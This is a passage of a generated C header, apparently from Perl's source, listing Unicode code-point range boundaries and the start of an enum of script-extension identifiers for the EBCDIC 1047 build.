0x346, - 0x363, - 0x370, - 0x374, - 0x375, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x384, - 0x385, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3E2, - 0x3F0, - 0x400, - 0x483, - 0x484, - 0x485, - 0x487, - 0x488, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58A, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x605, - 0x606, - 0x60C, - 0x60D, - 0x61B, - 0x61D, - 0x61E, - 0x61F, - 0x620, - 0x640, - 0x641, - 0x64B, - 0x656, - 0x660, - 0x66A, - 0x670, - 0x671, - 0x6DD, - 0x6DE, - 0x700, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x750, - 0x780, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x900, - 0x951, - 0x952, - 0x953, - 0x964, - 0x965, - 0x966, - 0x970, - 0x980, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F0, - 0x9FE, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA70, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAA, - 0xBAB, - 0xBAE, - 0xBB5, - 0xBB6, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF3, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE40, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFD5, - 0xFD9, - 0xFDB, - 0x1000, - 0x1040, - 0x104A, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1100, - 0x1200, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x1680, - 0x169D, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1735, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x1802, - 0x1804, - 0x1805, - 0x1806, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x19E0, - 0x1A00, - 0x1A1C, - 0x1A1E, - 0x1A20, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BC0, - 0x1BF4, - 0x1BFC, - 0x1C00, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C50, - 0x1C80, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CD1, - 0x1CD2, - 0x1CD4, - 0x1CD7, - 0x1CD8, - 0x1CD9, - 0x1CDA, - 0x1CDB, - 0x1CDC, - 0x1CDE, - 0x1CE0, - 0x1CE1, - 0x1CF2, - 0x1CF5, - 0x1CF6, - 0x1CF7, - 0x1CF8, - 0x1CFA, - 0x1D00, - 0x1D26, - 0x1D2B, - 0x1D2C, - 0x1D5D, - 0x1D62, - 0x1D66, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1DBF, - 0x1DC2, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1F00, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x200C, - 0x200E, - 0x2065, - 0x2066, - 0x2071, - 0x2072, - 0x2074, - 0x207F, - 0x2080, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x20D0, - 0x20F0, - 0x20F1, - 0x2100, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2800, - 0x2900, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2C80, - 0x2CF4, - 0x2CF9, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E43, - 0x2E44, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3001, - 0x3003, - 0x3004, - 0x3005, - 0x3008, - 0x3012, - 0x3013, - 0x3014, - 0x301C, - 0x3020, - 0x3021, - 0x302A, - 0x302E, - 0x3030, - 0x3031, - 0x3036, - 0x3037, - 0x3038, - 0x303C, - 0x303E, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x30FD, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31A0, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x3200, - 0x321F, - 0x3220, - 0x3248, - 0x3260, - 0x327F, - 0x3280, - 0x32B1, - 0x32C0, - 0x32CC, - 0x32D0, - 0x32FF, - 0x3300, - 0x3358, - 0x3371, - 0x337B, - 0x3380, - 0x33E0, - 0x33FF, - 0x3400, - 0x4DB6, - 0x4DC0, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA500, - 0xA62C, - 0xA640, - 0xA66F, - 0xA670, - 0xA6A0, - 0xA6F8, - 0xA700, - 0xA722, - 0xA788, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA800, - 0xA82C, - 0xA830, - 0xA836, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8F1, - 0xA8F2, - 0xA8F3, - 0xA8F4, - 0xA8FE, - 0xA900, - 0xA92E, - 0xA92F, - 0xA930, - 0xA954, - 0xA95F, - 0xA960, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9D0, - 0xA9DA, - 0xA9DE, - 0xA9E0, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAA60, - 0xAA80, - 0xAAC3, - 0xAADB, - 0xAAE0, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB65, - 0xAB66, - 0xAB70, - 0xABC0, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFB50, - 0xFBC2, - 0xFBD3, - 0xFD3E, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDF2, - 0xFDF3, - 0xFDFD, - 0xFDFE, - 0xFE00, - 0xFE10, - 0xFE1A, - 0xFE20, - 0xFE2E, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF61, - 0xFF66, - 0xFF70, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x10140, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FD, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x10330, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x10450, - 0x10480, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10840, - 0x10856, - 0x10857, - 0x10860, - 0x10880, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x10900, - 0x1091C, - 0x1091F, - 0x10920, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109A0, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A00, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10A80, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B40, - 0x10B56, - 0x10B58, - 0x10B60, - 0x10B73, - 0x10B78, - 0x10B80, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x11080, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11301, - 0x11302, - 0x11303, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x1133D, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE1, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B001, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D167, - 0x1D16A, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F200, - 0x1F201, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0001, - 0xE0002, - 0xE0020, - 0xE0080, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 1047 */ - -#endif /* defined(PERL_IN_UTF8_C) */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -/* Negative enum values indicate the need to use an auxiliary table - * consisting of the list of enums this one expands to. The absolute - * values of the negative enums are indices into a table of the auxiliary - * tables' addresses */ -typedef enum { - SCX_Unknown = 0, - SCX_Adlam = 1, - SCX_Ahom = 2, - SCX_Anatolian_Hieroglyphs = 3, - SCX_Arabic = 4, - SCX_Armenian = 5, - SCX_Avestan = 6, - SCX_Balinese = 7, - SCX_Bamum = 8, - SCX_Bassa_Vah = 9, - SCX_Batak = 10, - SCX_Bengali = 11, - SCX_Bhaiksuki = 12, - SCX_Bopomofo = 13, - SCX_Brahmi = 14, - SCX_Braille = 15, - SCX_Buginese = 16, - SCX_Buhid = 17, - SCX_Canadian_Aboriginal = 18, - SCX_Carian = 19, - SCX_Caucasian_Albanian = 20, - SCX_Chakma = 21, - SCX_Cham = 22, - SCX_Cherokee = 23, - SCX_Common = 24, - SCX_Coptic = 25, - SCX_Cuneiform = 26, - SCX_Cypriot = 27, - SCX_Cyrillic = 28, - SCX_Deseret = 29, - SCX_Devanagari = 30, - SCX_Duployan = 31, - SCX_Egyptian_Hieroglyphs = 32, - SCX_Elbasan = 33, - SCX_Ethiopic = 34, - SCX_Georgian = 35, - SCX_Glagolitic = 36, - SCX_Gothic = 37, - SCX_Grantha = 38, - SCX_Greek = 39, - SCX_Gujarati = 40, - SCX_Gurmukhi = 41, - SCX_Han = 42, - SCX_Hanb = 43, - SCX_Hangul = 44, - SCX_Hanunoo = 45, - SCX_Hatran = 46, - SCX_Hebrew = 47, - SCX_Hiragana = 48, - SCX_Imperial_Aramaic = 49, - SCX_Inherited = 50, - SCX_Inscriptional_Pahlavi = 51, - SCX_Inscriptional_Parthian = 52, - SCX_Javanese = 53, - SCX_Jpan = 54, - SCX_Kaithi = 55, - SCX_Kannada = 56, - SCX_Katakana = 57, - SCX_Kayah_Li = 58, - SCX_Kharoshthi = 59, - SCX_Khmer = 60, - SCX_Khojki = 61, - SCX_Khudawadi = 62, - SCX_Kore = 63, - SCX_Lao = 64, - SCX_Latin = 65, - SCX_Lepcha = 66, - SCX_Limbu = 67, - SCX_Linear_A = 68, - SCX_Linear_B = 69, - SCX_Lisu = 70, - SCX_Lycian = 71, - SCX_Lydian = 72, - SCX_Mahajani = 73, - SCX_Malayalam = 74, - SCX_Mandaic = 75, - SCX_Manichaean = 76, - SCX_Marchen = 77, - SCX_Masaram_Gondi = 78, - SCX_Meetei_Mayek = 79, - SCX_Mende_Kikakui = 80, - SCX_Meroitic_Cursive = 81, - SCX_Meroitic_Hieroglyphs = 82, - SCX_Miao = 83, - SCX_Modi = 84, - SCX_Mongolian = 85, - SCX_Mro = 86, - SCX_Multani = 87, - SCX_Myanmar = 88, - SCX_Nabataean = 89, - SCX_New_Tai_Lue = 90, - SCX_Newa = 91, - SCX_Nko = 92, - SCX_Nushu = 93, - SCX_Ogham = 94, - SCX_Ol_Chiki = 95, - SCX_Old_Hungarian = 96, - SCX_Old_Italic = 97, - SCX_Old_North_Arabian = 98, - SCX_Old_Permic = 99, - SCX_Old_Persian = 100, - SCX_Old_South_Arabian = 101, - SCX_Old_Turkic = 102, - SCX_Oriya = 103, - SCX_Osage = 104, - SCX_Osmanya = 105, - SCX_Pahawh_Hmong = 106, - SCX_Palmyrene = 107, - SCX_Pau_Cin_Hau = 108, - SCX_Phags_Pa = 109, - SCX_Phoenician = 110, - SCX_Psalter_Pahlavi = 111, - SCX_Rejang = 112, - SCX_Runic = 113, - SCX_Samaritan = 114, - SCX_Saurashtra = 115, - SCX_Sharada = 116, - SCX_Shavian = 117, - SCX_Siddham = 118, - SCX_SignWriting = 119, - SCX_Sinhala = 120, - SCX_Sora_Sompeng = 121, - SCX_Soyombo = 122, - SCX_Sundanese = 123, - SCX_Syloti_Nagri = 124, - SCX_Syriac = 125, - SCX_Tagalog = 126, - SCX_Tagbanwa = 127, - SCX_Tai_Le = 128, - SCX_Tai_Tham = 129, - SCX_Tai_Viet = 130, - SCX_Takri = 131, - SCX_Tamil = 132, - SCX_Tangut = 133, - SCX_Telugu = 134, - SCX_Thaana = 135, - SCX_Thai = 136, - SCX_Tibetan = 137, - SCX_Tifinagh = 138, - SCX_Tirhuta = 139, - SCX_Ugaritic = 140, - SCX_Vai = 141, - SCX_Warang_Citi = 142, - SCX_Yi = 143, - SCX_Zanabazar_Square = 144, - SCX_INVALID = 145, - SCX_use_AUX_TABLE_1 = -1, - SCX_use_AUX_TABLE_2 = -2, - SCX_use_AUX_TABLE_3 = -3, - SCX_use_AUX_TABLE_4 = -4, - SCX_use_AUX_TABLE_5 = -5, - SCX_use_AUX_TABLE_6 = -6, - SCX_use_AUX_TABLE_7 = -7, - SCX_use_AUX_TABLE_8 = -8, - SCX_use_AUX_TABLE_9 = -9, - 